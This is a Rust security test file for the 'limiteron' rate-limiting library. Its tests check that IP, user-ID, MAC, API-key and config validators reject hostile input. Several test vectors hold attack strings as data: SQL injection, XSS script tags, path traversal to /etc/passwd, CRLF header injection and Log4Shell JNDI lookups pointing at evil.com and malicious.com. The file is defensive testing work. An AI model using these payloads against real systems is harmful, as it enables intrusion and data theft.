use limiteron::limiters::{FixedWindowLimiter, Limiter, ShardedSlidingWindowLimiter, TokenBucketLimiter};
use limiteron::matchers::{IpExtractor, RequestContext};
use limiteron::validation::{validate_ip_address, validate_user_id, validate_mac_address, validate_api_key};
use limiteron::error::LimiteronError;
use std::time::Duration;
#[tokio::test]
async fn test_x_forwarded_for_spoofing() {
let extractor = IpExtractor::from_header("x-forwarded-for");
let ctx = RequestContext::new()
.with_header("x-forwarded-for", "192.168.1.1");
let result = extractor.extract(&ctx);
assert!(result.is_some());
let ctx = RequestContext::new()
.with_header("x-forwarded-for", "192.168.1.1, 10.0.0.1, 172.16.0.1");
let result = extractor.extract(&ctx);
assert!(result.is_some());
let ctx = RequestContext::new()
.with_header("x-forwarded-for", "");
let result = extractor.extract(&ctx);
assert!(result.is_none() || result.unwrap().as_str().is_empty());
let malicious_inputs = vec![
"'; DROP TABLE users; --",
"<script>alert('xss')</script>",
"../../../etc/passwd",
"null",
"undefined",
"${jndi:ldap://malicious.com/a}",
"{{template_injection}}",
];
for malicious in malicious_inputs {
let ctx = RequestContext::new()
.with_header("x-forwarded-for", malicious);
let _ = extractor.extract(&ctx);
}
}
#[test]
fn test_ip_address_validation_rejects_malicious_input() {
assert!(validate_ip_address("192.168.1.1").is_ok());
assert!(validate_ip_address("::1").is_ok());
assert!(validate_ip_address("2001:db8::1").is_ok());
let invalid_ips = vec![
"", " ", "not.an.ip", "999.999.999.999", "192.168.1", "192.168.1.1.1", "192.168.1.1:abc", "-1.2.3.4", "192.168.1.1; DROP TABLE", "192.168.1.1\nHost: evil.com", "192.168.1.1\r\nX-Injected: true", ];
for invalid_ip in invalid_ips {
let result = validate_ip_address(invalid_ip);
assert!(result.is_err(), "Should reject invalid IP: {}", invalid_ip);
}
}
#[test]
fn test_ip_address_length_limit() {
let long_ip = "a".repeat(100);
let result = validate_ip_address(&long_ip);
assert!(result.is_err());
}
#[test]
fn test_ipv6_validation_security() {
assert!(validate_ip_address("::1").is_ok());
assert!(validate_ip_address("fe80::1").is_ok());
assert!(validate_ip_address("2001:0db8:85a3:0000:0000:8a2e:0370:7334").is_ok());
let invalid_ipv6 = vec![
"::::", "1:2:3:4:5:6:7:8:9", "gggg::1", "1::2::3", "[::1", "::1]", ];
for invalid in invalid_ipv6 {
let result = validate_ip_address(invalid);
assert!(result.is_err(), "Should reject invalid IPv6: {}", invalid);
}
}
#[tokio::test]
async fn test_negative_cost_rejection() {
let limiter = TokenBucketLimiter::new(100, 10);
let result = limiter.allow(0).await;
assert!(result.is_err(), "Zero cost should be rejected");
let limiter = ShardedSlidingWindowLimiter::new(Duration::from_secs(60), 10);
let result = limiter.allow(0).await;
assert!(result.is_err(), "Zero cost should be rejected");
let limiter = FixedWindowLimiter::new(Duration::from_secs(60), 10);
let result = limiter.allow(0).await;
assert!(result.is_err(), "Zero cost should be rejected");
let limiter = ShardedSlidingWindowLimiter::new(Duration::from_secs(60), 10);
let result = limiter.allow(0).await;
assert!(result.is_err(), "Zero cost should be rejected");
}
#[tokio::test]
async fn test_integer_overflow_protection() {
let limiter = TokenBucketLimiter::new(100, 10);
let large_costs = vec![
u64::MAX,
u64::MAX - 1,
1_000_000_000_000_000_000,
];
for cost in large_costs {
let result = limiter.allow(cost).await;
match result {
Ok(allowed) => assert!(!allowed, "Large cost {} should not be allowed", cost),
Err(_) => {}, }
}
}
#[tokio::test]
async fn test_cost_boundary_values() {
let limiter = TokenBucketLimiter::new(100, 10);
let result = limiter.allow(1).await;
assert!(result.is_ok());
let limiter = TokenBucketLimiter::new(100, 10);
let result = limiter.allow(100).await;
assert!(result.is_ok());
assert!(result.unwrap());
let limiter = TokenBucketLimiter::new(100, 10);
let result = limiter.allow(101).await;
assert!(result.is_ok());
assert!(!result.unwrap());
}
#[tokio::test]
async fn test_cost_exceeds_max_cost() {
let limiter = TokenBucketLimiter::new(u64::MAX, 1);
let result = limiter.allow(1_000_001).await;
assert!(result.is_err(), "Cost exceeding MAX_COST should return error");
let result = limiter.allow(1_000_000).await;
assert!(result.is_ok() || result.is_err());
}
#[test]
fn test_user_id_injection() {
assert!(validate_user_id("user123").is_ok());
assert!(validate_user_id("user@example.com").is_ok());
assert!(validate_user_id("user-name_123").is_ok());
let malicious_user_ids = vec![
"", " ", "user; DROP TABLE users; --", "user<script>alert(1)</script>", "user\nadmin", "user\r\nHost: evil.com", "user' OR '1'='1", "user\" OR \"1\"=\"1", "user${jndi:ldap://evil.com}", "user{{7*7}}", ];
for malicious in malicious_user_ids {
let result = validate_user_id(malicious);
if malicious.is_empty() || malicious.trim().is_empty() {
assert!(result.is_err(), "Empty user ID should be rejected");
}
if malicious.contains('<') || malicious.contains('>') || malicious.contains('\'') || malicious.contains('"') {
assert!(result.is_err(), "Malicious user ID should be rejected: {}", malicious);
}
}
}
#[test]
fn test_user_id_length_limit() {
let max_length_id = "a".repeat(256);
let result = validate_user_id(&max_length_id);
assert!(result.is_ok() || result.is_err());
let too_long_id = "a".repeat(300);
let result = validate_user_id(&too_long_id);
assert!(result.is_err(), "Overly long user ID should be rejected");
}
#[test]
fn test_mac_address_validation_security() {
assert!(validate_mac_address("00:1A:2B:3C:4D:5E").is_ok());
assert!(validate_mac_address("00-1A-2B-3C-4D-5E").is_ok());
assert!(validate_mac_address("001A2B3C4D5E").is_ok());
let invalid_macs = vec![
"", "invalid", "00:1A:2B:3C:4D", "00:1A:2B:3C:4D:5E:6F", "GG:1A:2B:3C:4D:5E", "00:1A:2B:3C:4D:5E; DROP TABLE", "00:1A:2B:3C:4D:5E\n", ];
for invalid in invalid_macs {
let result = validate_mac_address(invalid);
assert!(result.is_err(), "Invalid MAC should be rejected: {}", invalid);
}
}
#[test]
fn test_api_key_validation_security() {
assert!(validate_api_key("sk-abc123xyz").is_ok());
let long_key = "sk-".to_string() + &"a".repeat(600);
let result = validate_api_key(&long_key);
assert!(result.is_err(), "Overly long API key should be rejected");
}
#[test]
fn test_config_validation_rejects_malicious_input() {
use limiteron::config::{FlowControlConfig, GlobalConfig, Rule, ConfigMatcher as Matcher, LimiterConfig, ActionConfig};
let malicious_ids = vec![
"rule'; DROP TABLE rules; --",
"rule<script>alert(1)</script>",
"rule\ninjected",
"rule\r\nHost: evil.com",
];
for malicious_id in malicious_ids {
let rule = Rule {
id: malicious_id.to_string(),
name: "Test Rule".to_string(),
priority: 100,
matchers: vec![Matcher::User { user_ids: vec!["*".to_string()] }],
limiters: vec![LimiterConfig::TokenBucket { capacity: 100, refill_rate: 10 }],
action: ActionConfig {
on_exceed: "reject".to_string(),
ban: None,
},
};
let _ = rule.validate();
}
}
#[test]
fn test_limiter_config_boundary_values() {
use limiteron::config::LimiterConfig;
let config = LimiterConfig::TokenBucket { capacity: 0, refill_rate: 10 };
assert!(config.validate().is_err());
let config = LimiterConfig::TokenBucket { capacity: 100, refill_rate: 0 };
assert!(config.validate().is_err());
let config = LimiterConfig::SlidingWindow {
window_size: "60s".to_string(),
max_requests: 0,
};
assert!(config.validate().is_err());
let config = LimiterConfig::Concurrency { max_concurrent: 0 };
assert!(config.validate().is_err());
}
#[test]
fn test_window_size_parsing_security() {
use limiteron::config::parse_window_size;
assert!(parse_window_size("60s").is_ok());
assert!(parse_window_size("5m").is_ok());
assert!(parse_window_size("1h").is_ok());
let invalid_windows = vec![
"", "invalid", "-1s", "0s", "999999999999999s", "1s; DROP TABLE", "1s\ninjected", ];
for invalid in invalid_windows {
let result = parse_window_size(invalid);
if invalid.is_empty() || invalid == "invalid" || invalid.starts_with('-') {
assert!(result.is_err() || result.unwrap() == Duration::from_secs(0),
"Invalid window size should be rejected: {}", invalid);
}
}
}
#[test]
fn test_request_context_header_injection() {
let ctx = RequestContext::new()
.with_header("X-Custom", "value\nInjected: header")
.with_header("Authorization", "Bearer token\r\nX-Forwarded-For: 127.0.0.1");
assert!(ctx.get_header("x-custom").is_some());
assert!(ctx.get_header("authorization").is_some());
let debug_output = format!("{:?}", ctx);
assert!(debug_output.contains("***"));
}
#[test]
fn test_request_context_query_param_injection() {
let ctx = RequestContext::new()
.with_query_param("token", "secret123\nInjected: header")
.with_query_param("key", "api_key\r\nX-Forwarded: evil");
let debug_output = format!("{:?}", ctx);
assert!(debug_output.contains("***"));
}
#[test]
fn test_input_validation_consistency() {
assert!(validate_ip_address("").is_err());
assert!(validate_user_id("").is_err());
assert!(validate_mac_address("").is_err());
let long_value = "a".repeat(1000);
assert!(validate_ip_address(&long_value).is_err());
assert!(validate_user_id(&long_value).is_err());
assert!(validate_mac_address(&long_value).is_err());
assert!(validate_api_key(&long_value).is_err());
}
#[test]
fn test_unicode_handling_security() {
let unicode_ids = vec![
"用户123", "user\u{0000}name", "user\u{202E}admin", "user\u{200B}name", ];
for id in unicode_ids {
let result = validate_user_id(id);
let _ = result;
}
}